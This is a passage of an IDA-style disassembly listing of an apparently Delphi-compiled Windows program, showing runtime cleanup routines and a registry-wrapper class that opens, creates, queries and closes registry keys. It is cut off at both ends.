ebx call sub_40013878 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013B02 loc_40013AF2: ; CODE XREF: sub_40013AB8+48j mov eax, [ebp+var_4] call sub_40013B08 retn ; --------------------------------------------------------------------------- loc_40013AFB: ; DATA XREF: sub_40013AB8+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013AF2 ; --------------------------------------------------------------------------- loc_40013B02: ; CODE XREF: sub_40013AB8+42j ; DATA XREF: sub_40013AB8+35o pop ebx pop ecx pop ebp retn sub_40013AB8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013B08 proc near ; CODE XREF: sub_400139A0+51p ; sub_40013A1C+76p ... add eax, 8 push eax call sub_400065E8 ; RtlLeaveCriticalSection retn sub_40013B08 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013B14 proc near ; DATA XREF: .text:40013144o push ebx push esi call sub_40003FD8 mov ebx, edx mov esi, eax mov eax, esi call sub_40013D90 mov edx, ebx and dl, 0FCh mov eax, esi call sub_40003CD8 test bl, bl jle short loc_40013B3D mov eax, esi call sub_40003F80 loc_40013B3D: ; CODE XREF: sub_40013B14+20j pop esi pop ebx retn sub_40013B14 endp ; =============== S U B R O U T I N E ======================================= sub_40013B40 proc near ; DATA XREF: .text:40013150o test edx, edx jz short loc_40013B4A xchg eax, edx mov ecx, [eax] call dword ptr [ecx] retn ; --------------------------------------------------------------------------- loc_40013B4A: ; CODE XREF: sub_40013B40+2j xor edx, edx call sub_40013B54 retn sub_40013B40 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013B54 proc near ; CODE XREF: sub_40013B40+Cp ; .text:40013C25p var_114 = dword ptr -114h var_110 = byte ptr -110h var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEECh push ebx push esi xor ecx, ecx mov [ebp+var_4], ecx mov esi, edx mov ebx, eax xor eax, eax push ebp push offset loc_40013C0A push dword ptr fs:[eax] mov fs:[eax], esp test esi, esi jz short loc_40013B97 lea edx, [ebp+var_104] mov eax, [esi] call sub_40003C6C lea edx, [ebp+var_104] lea eax, [ebp+var_4] call sub_40004AE8 jmp short loc_40013BA4 ; --------------------------------------------------------------------------- loc_40013B97: ; CODE XREF: sub_40013B54+24j lea eax, [ebp+var_4] mov edx, offset dword_40013C20 call sub_4000491C loc_40013BA4: ; CODE XREF: sub_40013B54+41j mov eax, [ebp+var_4] mov [ebp+var_114], eax mov [ebp+var_110], 0Bh lea edx, [ebp+var_104] mov eax, [ebx] call sub_40003C6C lea eax, [ebp+var_104] mov [ebp+var_10C], eax mov [ebp+var_108], 4 lea eax, [ebp+var_114] push eax push 1 mov ecx, off_4001AFAC mov dl, 1 mov eax, ds:off_400073E4 call sub_4000B128 call sub_400042E4 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013C11 loc_40013C01: ; CODE XREF: sub_40013B54+BBj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40013C0A: ; DATA XREF: sub_40013B54+17o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013C01 ; --------------------------------------------------------------------------- loc_40013C11: ; CODE XREF: sub_40013B54+B5j ; DATA XREF: sub_40013B54+A8o pop esi pop ebx mov esp, ebp pop ebp retn sub_40013B54 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 3 dword_40013C20 dd 6C696Eh ; --------------------------------------------------------------------------- loc_40013C24: ; DATA XREF: .text:off_40013148o xchg eax, edx call sub_40013B54 retn ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013C30 proc near ; DATA XREF: .text:4001315Eo var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEFCh push ebx push esi push edi xor ecx, ecx mov [ebp+var_4], ecx mov edi, edx mov ebx, eax xor eax, eax push ebp push offset loc_40013CC5 push dword ptr fs:[eax] mov fs:[eax], esp lea edx, [ebp+var_104] mov eax, [ebx] call sub_40003C6C lea edx, [ebp+var_104] mov eax, edi call sub_40004AE8 mov eax, ebx mov si, 0FFFFh call sub_40003EC8 test eax, eax jz short loc_40013CAF mov eax, ebx mov si, 0FFFFh call sub_40003EC8 lea edx, [ebp+var_4] mov si, 0FFFEh call sub_40003EC8 cmp [ebp+var_4], 0 jz short loc_40013CAF push [ebp+var_4] push offset dword_40013CDC push dword ptr [edi] mov eax, edi mov edx, 3 call sub_40004C08 loc_40013CAF: ; CODE XREF: sub_40013C30+4Aj ; sub_40013C30+67j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013CCC loc_40013CBC: ; CODE XREF: sub_40013C30+9Aj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40013CC5: ; DATA XREF: sub_40013C30+18o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013CBC ; --------------------------------------------------------------------------- loc_40013CCC: ; CODE XREF: sub_40013C30+94j ; DATA XREF: sub_40013C30+87o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40013C30 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_40013CDC dd 2Eh ; --------------------------------------------------------------------------- loc_40013CE0: ; DATA XREF: .text:4001315Ao xor eax, eax retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013CE4 proc near ; CODE XREF: sub_40013ED4+36p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_8], edx mov [ebp+var_4], eax cmp ds:dword_4001F2E0, 0 jz loc_40013D86 mov eax, ds:dword_4001F2E0 call sub_40013AA4 mov edi, eax xor eax, eax push ebp push offset loc_40013D7F push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [edi+8] dec ebx cmp ebx, 0 jl short loc_40013D67 loc_40013D23: ; CODE XREF: sub_40013CE4+81j mov edx, ebx mov eax, edi call sub_400137FC mov esi, eax cmp [ebp+var_4], 0 jz short loc_40013D3C mov eax, [esi+8] cmp eax, [ebp+var_4] jnz short loc_40013D61 loc_40013D3C: ; CODE XREF: sub_40013CE4+4Ej cmp [ebp+var_8], 0 jz short loc_40013D51 mov edx, [esi+10h] mov eax, [ebp+var_8] call sub_40007B90 test al, al jz short loc_40013D61 loc_40013D51: ; CODE XREF: sub_40013CE4+5Cj mov edx, ebx mov eax, edi call sub_40013708 mov eax, esi call sub_40003CE8 loc_40013D61: ; CODE XREF: sub_40013CE4+56j ; sub_40013CE4+6Bj dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_40013D23 loc_40013D67: ; CODE XREF: sub_40013CE4+3Dj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013D86 loc_40013D74: ; CODE XREF: sub_40013CE4+A0j mov eax, ds:dword_4001F2E0 call sub_40013B08 retn ; --------------------------------------------------------------------------- loc_40013D7F: ; DATA XREF: sub_40013CE4+2Bo jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013D74 ; --------------------------------------------------------------------------- loc_40013D86: ; CODE XREF: sub_40013CE4+16j ; sub_40013CE4+9Aj ; DATA XREF: ... pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_40013CE4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013D90 proc near ; CODE XREF: sub_40013B14+Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], eax cmp ds:dword_4001F2E0, 0 jz short loc_40013E0E mov eax, ds:dword_4001F2E0 call sub_40013AA4 mov edi, eax xor eax, eax push ebp push offset loc_40013E07 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [edi+8] dec ebx cmp ebx, 0 jl short loc_40013DEF loc_40013DC6: ; CODE XREF: sub_40013D90+5Dj mov edx, ebx mov eax, edi call sub_400137FC mov esi, eax mov eax, [esi+4] cmp eax, [ebp+var_4] jnz short loc_40013DE9 mov edx, ebx mov eax, edi call sub_40013708 mov eax, esi call sub_40003CE8 loc_40013DE9: ; CODE XREF: sub_40013D90+47j dec ebx cmp ebx, 0FFFFFFFFh jnz short loc_40013DC6 loc_40013DEF: ; CODE XREF: sub_40013D90+34j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013E0E loc_40013DFC: ; CODE XREF: sub_40013D90+7Cj mov eax, ds:dword_4001F2E0 call sub_40013B08 retn ; --------------------------------------------------------------------------- loc_40013E07: ; DATA XREF: sub_40013D90+22o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013DFC ; --------------------------------------------------------------------------- loc_40013E0E: ; CODE XREF: sub_40013D90+11j ; sub_40013D90+76j ; DATA XREF: ... pop edi pop esi pop ebx pop ecx pop ebp retn sub_40013D90 endp ; =============== S U B R O U T I N E ======================================= sub_40013E14 proc near ; CODE XREF: sub_400191F8+1Ap push offset dword_4001F2E4 call sub_400065E0 ; InitializeCriticalSection push offset dword_40013E44 push 0 push 0FFFFFFFFh push 0 call sub_40006508 ; CreateEventA mov ds:dword_4001F2CC, eax cmp ds:dword_4001F2CC, 0 jnz short locret_40013E41 call sub_4000C410 locret_40013E41: ; CODE XREF: sub_40013E14+26j retn sub_40013E14 endp ; --------------------------------------------------------------------------- align 4 dword_40013E44 dd 0 ; =============== S U B R O U T I N E ======================================= sub_40013E48 proc near ; CODE XREF: sub_40013ED4+7Dp push offset dword_4001F2E4 call sub_40006518 ; RtlDeleteCriticalSection mov eax, ds:dword_4001F2CC push eax call sub_400064F0 ; CloseHandle retn sub_40013E48 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013E60 proc near ; CODE XREF: sub_40013ED4+2Dp push ebp mov ebp, esp push ebx push esi push edi mov eax, ds:dword_4001F2D4 call sub_40013AA4 mov edi, eax xor eax, eax push ebp push offset loc_40013EB5 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [edi+8] dec ebx test ebx, ebx jl short loc_40013E9D inc ebx xor esi, esi loc_40013E8B: ; CODE XREF: sub_40013E60+3Bj mov edx, esi mov eax, edi call sub_400137FC call sub_40003CE8 inc esi dec ebx jnz short loc_40013E8B loc_40013E9D: ; CODE XREF: sub_40013E60+26j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013EBC loc_40013EAA: ; CODE XREF: sub_40013E60+5Aj mov eax, ds:dword_4001F2D4 call sub_40013B08 retn ; --------------------------------------------------------------------------- loc_40013EB5: ; DATA XREF: sub_40013E60+15o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013EAA ; --------------------------------------------------------------------------- loc_40013EBC: ; CODE XREF: sub_40013E60+54j ; DATA XREF: sub_40013E60+45o mov eax, ds:dword_4001F2D4 call sub_40003CE8 pop edi pop esi pop ebx pop ebp retn sub_40013E60 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40013ECC proc near ; DATA XREF: sub_40013ED4+69o ; sub_400191F8+1Fo call sub_40013510 retn sub_40013ECC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013ED4 proc near ; DATA XREF: .text:40018398o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40013F78 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001F2D0 jnz short loc_40013F6A mov eax, ds:dword_4001E7F8 call sub_40013510 mov eax, ds:dword_4001F2C8 mov edx, [eax] call dword ptr [edx+14h] call sub_40013E60 xor edx, edx xor eax, eax call sub_40013CE4 mov eax, offset dword_4001F2E0 call sub_4000C970 call sub_40006428 lea eax, [eax+8] call sub_4000C970 mov eax, offset dword_4001F2D8 call sub_4000C970 mov eax, offset dword_4001F2C8 call sub_40006204 mov eax, offset sub_40013ECC call sub_4000609C mov eax, offset dword_4001AA94 call sub_4000C970 call sub_40013E48 mov eax, offset dword_4001F2DC call sub_4000C970 mov eax, offset dword_4001F2C8 call sub_40006204 loc_40013F6A: ; CODE XREF: sub_40013ED4+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013F7F loc_40013F77: ; CODE XREF: sub_40013ED4+A9j retn ; --------------------------------------------------------------------------- loc_40013F78: ; DATA XREF: sub_40013ED4+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013F77 ; --------------------------------------------------------------------------- loc_40013F7F: ; CODE XREF: sub_40013ED4:loc_40013F77j ; DATA XREF: sub_40013ED4+9Eo pop ebp retn sub_40013ED4 endp ; --------------------------------------------------------------------------- align 4 off_40013F84 dd offset dword_4001E7F8 ; DATA XREF: .data:off_4001AF68o dd 0FF92h, 0FFFFFFFFh, 1 dword_40013F94 dd 30h, 0FFFFFFFFh, 1, 31h ; .data:4001AA9Co ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40013FA4 proc near ; DATA XREF: .text:400183A0o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_40013FE0 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_4001F2FC jnz short loc_40013FD2 mov eax, offset off_4001AA98 mov ecx, 2 mov edx, ds:off_40001000 call sub_40005314 loc_40013FD2: ; CODE XREF: sub_40013FA4+17j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40013FE7 loc_40013FDF: ; CODE XREF: sub_40013FA4+41j retn ; --------------------------------------------------------------------------- loc_40013FE0: ; DATA XREF: sub_40013FA4+6o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40013FDF ; --------------------------------------------------------------------------- loc_40013FE7: ; CODE XREF: sub_40013FA4:loc_40013FDFj ; DATA XREF: sub_40013FA4+36o pop ebp retn sub_40013FA4 endp ; --------------------------------------------------------------------------- align 4 off_40013FEC dd offset dword_40014038 ; DATA XREF: sub_400140B4+19r ; sub_4001464C+50r ... dd 7 dup(0) dd offset dword_40014038 dd 0Ch dd offset off_40006DE0 dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40003CD8 dword_40014038 dd 65524512h, 74736967h, 78457972h, 74706563h, 906E6F69h ; DATA XREF: .text:off_40013FECo ; .text:4001400Co off_4001404C dd offset dword_40014098 ; DATA XREF: .itext:400194A4r ; .itext:40019505r dd 2 dup(0) dd offset dword_40014098 dd 4 dup(0) dd offset word_400140AA dd 1Ch dd offset off_4000101C dd offset sub_40003EF4 dd offset nullsub_2 dd offset nullsub_3 dd offset sub_40003F08 dd offset nullsub_4 dd offset sub_40003C80 dd offset sub_40003C9C dd offset sub_40014190 dword_40014098 dd 0Eh, 10000h ; .text:40014058o db 2 dup(0) dd offset off_40001000 dw 10h db 2 dup(0) word_400140AA dw 5409h ; DATA XREF: .text:4001406Co dd 69676552h, 79727473h ; =============== S U B R O U T I N E ======================================= sub_400140B4 proc near ; CODE XREF: sub_400145D4+62p var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebx add esp, 0FFFFFFF8h mov ebx, eax mov [esp+0Ch+var_C], ebx mov [esp+0Ch+var_8], 0Bh push esp push 0 mov ecx, off_4001AF7C mov dl, 1 mov eax, ds:off_40013FEC call sub_4000B128 call sub_400042E4 pop ecx pop edx pop ebx retn sub_400140B4 endp ; =============== S U B R O U T I N E ======================================= sub_400140E0 proc near ; CODE XREF: sub_40014250+2Fp ; sub_40014374+2Cp push ebx mov ebx, eax test ebx, ebx jz short loc_400140F0 cmp byte ptr [ebx], 5Ch jnz short loc_400140F0 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_400140F0: ; CODE XREF: sub_400140E0+5j ; sub_400140E0+Aj mov al, 1 pop ebx retn sub_400140E0 endp ; =============== S U B R O U T I N E ======================================= sub_400140F4 proc near ; CODE XREF: sub_4001464C+14p dec al jz short loc_40014106 dec al jz short loc_4001410C dec al jz short loc_40014112 dec al jz short loc_40014118 jmp short loc_4001411E ; --------------------------------------------------------------------------- loc_40014106: ; CODE XREF: sub_400140F4+2j mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4001410C: ; CODE XREF: sub_400140F4+6j mov eax, 2 retn ; --------------------------------------------------------------------------- loc_40014112: ; CODE XREF: sub_400140F4+Aj mov eax, 4 retn ; --------------------------------------------------------------------------- loc_40014118: ; CODE XREF: sub_400140F4+Ej mov eax, 3 retn ; --------------------------------------------------------------------------- loc_4001411E: ; CODE XREF: sub_400140F4+10j xor eax, eax retn sub_400140F4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40014124 proc near ; CODE XREF: sub_4001452C+3Fp ; sub_400146B4+5Ep cmp eax, 1 jnz short loc_4001412C mov al, 1 retn ; --------------------------------------------------------------------------- loc_4001412C: ; CODE XREF: sub_40014124+3j cmp eax, 2 jnz short loc_40014135 mov al, 2 jmp short locret_40014149 ; --------------------------------------------------------------------------- loc_40014135: ; CODE XREF: sub_40014124+Bj cmp eax, 4 jnz short loc_4001413E mov al, 3 jmp short locret_40014149 ; --------------------------------------------------------------------------- loc_4001413E: ; CODE XREF: sub_40014124+14j cmp eax, 3 jnz short loc_40014147 mov al, 4 jmp short locret_40014149 ; --------------------------------------------------------------------------- loc_40014147: ; CODE XREF: sub_40014124+1Dj xor eax, eax locret_40014149: ; CODE XREF: sub_40014124+Fj ; sub_40014124+18j ... retn sub_40014124 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4001414C proc near ; CODE XREF: .itext:400194A9p ; .itext:4001950Ap push ebx push esi test dl, dl jz short loc_4001415A add esp, 0FFFFFFF0h call sub_40003F30 loc_4001415A: ; CODE XREF: sub_4001414C+4j mov ebx, edx mov esi, eax mov edx, 80000001h mov eax, esi call sub_400141EC mov dword ptr [esi+18h], 0F003Fh mov byte ptr [esi+0Ch], 1 mov eax, esi test bl, bl jz short loc_4001418A call sub_40003F88 pop large dword ptr fs:0 add esp, 0Ch loc_4001418A: ; CODE XREF: sub_4001414C+2Dj mov eax, esi pop esi pop ebx retn sub_4001414C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40014190 proc near ; DATA XREF: .text:40014094o push ebx push esi call sub_40003FD8 mov ebx, edx mov esi, eax mov eax, esi call sub_400141BC mov edx, ebx and dl, 0FCh mov eax, esi call sub_40003CD8 test bl, bl jle short loc_400141B9 mov eax, esi call sub_40003F80 loc_400141B9: ; CODE XREF: sub_40014190+20j pop esi pop ebx retn sub_40014190 endp ; =============== S U B R O U T I N E ======================================= sub_400141BC proc near ; CODE XREF: sub_40014190+Dp ; sub_400141EC+22p ... push ebx mov ebx, eax mov eax, [ebx+4] test eax, eax jz short loc_400141E8 cmp byte ptr [ebx+0Ch], 0 jnz short loc_400141D2 push eax call sub_400064D0 ; RegFlushKey loc_400141D2: ; CODE XREF: sub_400141BC+Ej mov eax, [ebx+4] push eax call sub_400064C0 ; RegCloseKey xor eax, eax mov [ebx+4], eax lea eax, [ebx+10h] call sub_40004884 loc_400141E8: ; CODE XREF: sub_400141BC+8j pop ebx retn sub_400141BC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400141EC proc near ; CODE XREF: sub_4001414C+19p ; .itext:400194B7p ... push ebx push esi mov esi, edx mov ebx, eax mov eax, [ebx+8] cmp esi, eax jz short loc_40014213 cmp byte ptr [ebx+14h], 0 jz short loc_40014209 push eax call sub_400064C0 ; RegCloseKey mov byte ptr [ebx+14h], 0 loc_40014209: ; CODE XREF: sub_400141EC+11j mov [ebx+8], esi mov eax, ebx call sub_400141BC loc_40014213: ; CODE XREF: sub_400141EC+Bj pop esi pop ebx retn sub_400141EC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40014218 proc near ; CODE XREF: sub_40014250+EAp ; sub_40014374+AFp ... push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax mov eax, ebx call sub_400141BC mov [ebx+4], esi lea eax, [ebx+10h] mov edx, edi call sub_400048D8 pop edi pop esi pop ebx retn sub_40014218 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4001423C proc near ; CODE XREF: sub_40014250+74p ; sub_40014250+A8p ... mov ecx, [eax+4] test ecx, ecx jz short loc_40014247 test dl, dl jnz short loc_4001424B loc_40014247: ; CODE XREF: sub_4001423C+5j mov eax, [eax+8] retn ; --------------------------------------------------------------------------- loc_4001424B: ; CODE XREF: sub_4001423C+9j mov eax, ecx retn sub_4001423C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40014250 proc near ; CODE XREF: .itext:400194C5p ; .itext:40019526p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi xor ebx, ebx mov [ebp+var_4], ebx mov [ebp+var_5], cl mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_40014355 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] mov edx, ebx call sub_4000491C mov eax, [ebp+var_4] call sub_400140E0 mov ebx, eax test bl, bl jnz short loc_4001429C lea eax, [ebp+var_4] mov ecx, 1 mov edx, 1 call sub_40004DE8 loc_4001429C: ; CODE XREF: sub_40014250+38j xor eax, eax mov [ebp+var_C], eax cmp [ebp+var_5], 0 jz short loc_400142AD cmp [ebp+var_4], 0 jnz short loc_400142D7 loc_400142AD: ; CODE XREF: sub_40014250+55j lea eax, [ebp+var_C] push eax mov eax, [esi+18h] push eax push 0 mov eax, [ebp+var_4] call sub_40004D48 push eax mov edx, ebx mov eax, esi call sub_4001423C push eax call sub_400064D8 ; RegOpenKeyExA test eax, eax setz [ebp+var_6] jmp short loc_40014309 ; --------------------------------------------------------------------------- loc_400142D7: ; CODE XREF: sub_40014250+5Bj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax push 0 mov eax, [esi+18h] push eax push 0 push 0 push 0 mov eax, [ebp+var_4] call sub_40004D48 push eax mov edx, ebx mov eax, esi call sub_4001423C push eax call sub_400064C8 ; RegCreateKeyExA test eax, eax setz [ebp+var_6] loc_40014309: ; CODE XREF: sub_40014250+85j cmp [ebp+var_6], 0 jz short loc_4001433F cmp dword ptr [esi+4], 0 setnz al test bl, al jz short loc_40014332 push dword ptr [esi+10h] push offset dword_40014370 push [ebp+var_4] lea eax, [ebp+var_4] mov edx, 3 call sub_40004C08 loc_40014332: ; CODE XREF: sub_40014250+C8j mov ecx, [ebp+var_4] mov edx, [ebp+var_C] mov eax, esi call sub_40014218 loc_4001433F: ; CODE XREF: sub_40014250+BDj xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4001435C loc_4001434C: ; CODE XREF: sub_40014250+10Aj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_40014355: ; DATA XREF: sub_40014250+17o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_4001434C ; --------------------------------------------------------------------------- loc_4001435C: ; CODE XREF: sub_40014250+104j ; DATA XREF: sub_40014250+F7o movzx eax, [ebp+var_6] pop esi pop ebx mov esp, ebp pop ebp retn sub_40014250 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_40014370 dd 5Ch ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40014374 proc near var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF4h push ebx push esi xor ecx, ecx mov [ebp+var_4], ecx mov ebx, edx mov esi, eax xor eax, eax push ebp push offset loc_4001450E push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] mov edx, ebx call sub_4000491C mov eax, [ebp+var_4] call sub_400140E0 mov ebx, eax test bl, bl jnz short loc_400143BD lea eax, [ebp+var_4] mov ecx, 1 mov edx, 1 call sub_40004DE8 loc_400143BD: ; CODE XREF: sub_40014374+35j xor eax, eax mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax push 20019h push 0 mov eax, [ebp+var_4] call sub_40004D48 push eax mov edx, ebx mov eax, esi call sub_4001423C push eax call sub_400064D8 ; RegOpenKeyExA test eax, eax setz [ebp+var_5] cmp [ebp+var_5], 0 jz short loc_4001442D mov dword ptr [esi+18h], 20019h cmp dword ptr [esi+4], 0 setnz al test bl, al jz short loc_4001441B push dword ptr [esi+10h] push offset dword_40014528 push [ebp+var_4] lea eax, [ebp+var_4] mov edx, 3 call sub_40004C08 loc_4001441B: ; CODE XREF: sub_40014374+8Dj mov ecx, [ebp+var_4] mov edx, [ebp+var_C] mov eax, esi call sub_40014218 jmp loc_400144F8 ; --------------------------------------------------------------------------- loc_4001442D: ; CODE XREF: sub_40014374+7Bj lea eax, [ebp+var_C] push eax push 20009h push 0 mov eax, [ebp+var_4] call sub_40004D48 push eax mov edx, ebx mov eax, esi call sub_4001423C push eax call sub_400064D8 ; RegOpenKeyExA test eax, eax setz [ebp+var_5] cmp [ebp+var_5], 0 jz short loc_40014495 mov dword ptr [esi+18h], 20009h cmp dword ptr [esi+4], 0 setnz al test bl, al jz short loc_40014486 push dword ptr [esi+10h] push offset dword_40014528 push [ebp+var_4] lea eax, [ebp+var_4] mov edx, 3 call sub_40004C08 loc_40014486: ; CODE XREF: sub_40014374+F8j mov ecx, [ebp+var_4] mov edx, [ebp+var_C] mov eax, esi call sub_40014218 jmp short loc_400144F8 ; --------------------------------------------------------------------------- loc_40014495: ; CODE XREF: sub_40014374+E6j lea eax, [ebp+var_C] push eax push 1 push 0 mov eax, [ebp+var_4] call sub_40004D48 push eax mov edx, ebx mov eax, esi call sub_4001423C push eax call sub_400064D8 ; RegOpenKeyExA test eax, eax setz [ebp+var_5] cmp [ebp+var_5], 0 jz short loc_400144F8 mov dword ptr [esi+18h], 1 cmp dword ptr [esi+4], 0 setnz al test bl, al jz short loc_400144EB push dword ptr [esi+10h] push offset dword_40014528 push [ebp+var_4] lea eax, [ebp+var_4] mov edx, 3 call sub_40004C08 loc_400144EB: ; CODE XREF: sub_40014374+15Dj mov ecx, [ebp+var_4] mov edx, [ebp+var_C] mov eax, esi call sub_40014218 loc_400144F8: ; CODE XREF: sub_40014374+B4j ; sub_40014374+11Fj ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40014515 loc_40014505: ; CODE XREF: sub_40014374+19Fj lea eax, [ebp+var_4] call sub_40004884 retn ; --------------------------------------------------------------------------- loc_4001450E: ; DATA XREF: sub_40014374+14o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40014505 ; --------------------------------------------------------------------------- loc_40014515: ; CODE XREF: sub_40014374+199j ; DATA XREF: sub_40014374+18Co movzx eax, [ebp+var_5] pop esi pop ebx mov esp, ebp pop ebp retn sub_40014374 endp ; --------------------------------------------------------------------------- align 10h dd 0FFFFFFFFh, 1 dword_40014528 dd 5Ch ; sub_40014374+FDo ... ; =============== S U B R O U T I N E ======================================= sub_4001452C proc near ; CODE XREF: sub_4001457C+Fp var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov ebp, ecx mov edi, edx mov esi, eax mov eax, ebp xor ecx, ecx mov edx, 8 call sub_40003580 lea eax, [ebp+4] push eax push 0 lea eax, [esp+1Ch+var_14] push eax push 0 mov eax, edi call sub_40004D48 push eax mov eax, [esi+4] push eax call sub_400064E0 ; RegQueryValueExA test eax, eax setz bl mov eax, [esp+14h+var_14] call sub_40014124 mov [ebp+0], al mov eax, ebx pop edx pop ebp pop edi pop esi pop ebx retn sub_4001452C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4001457C proc near ; CODE XREF: sub_400145D4+Fp var_C = dword ptr -0Ch push ebx push esi add esp, 0FFFFFFF8h mov esi, edx mov ebx, eax mov ecx, esp mov edx, esi mov eax, ebx call sub_4001452C test al, al jz short loc_4001459A mov eax, [esp+10h+var_C] jmp short loc_4001459D ; --------------------------------------------------------------------------- loc_4001459A: ; CODE XREF: sub_4001457C+16j or eax, 0FFFFFFFFh loc_4001459D: ; CODE XREF: sub_4001457C+1Cj pop ecx pop edx pop esi pop ebx retn sub_4001457C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400145A4 proc near ; CODE XREF: .itext:400194F7p ; .itext:40019558p push ebx push esi push edi push ebp mov edi, ecx mov ebp, edx mov esi, eax mov ebx, edi test ebx, ebx jz short loc_400145B9 sub ebx, 4 mov ebx, [ebx] loc_400145B9: ; CODE XREF: sub_400145A4+Ej inc ebx push ebx push 1 mov eax, edi call sub_40004D48 mov ecx, eax mov edx, ebp mov eax, esi call sub_4001464C pop ebp pop edi pop esi pop ebx retn sub_400145A4 endp ; =============== S U B R O U T I N E ======================================= sub_400145D4 proc near var_14 = byte ptr -14h push ebx push esi push edi push ebp push ecx mov edi, ecx mov ebp, edx mov esi, eax mov edx, ebp mov eax, esi call sub_4001457C mov ebx, eax test ebx, ebx jle short 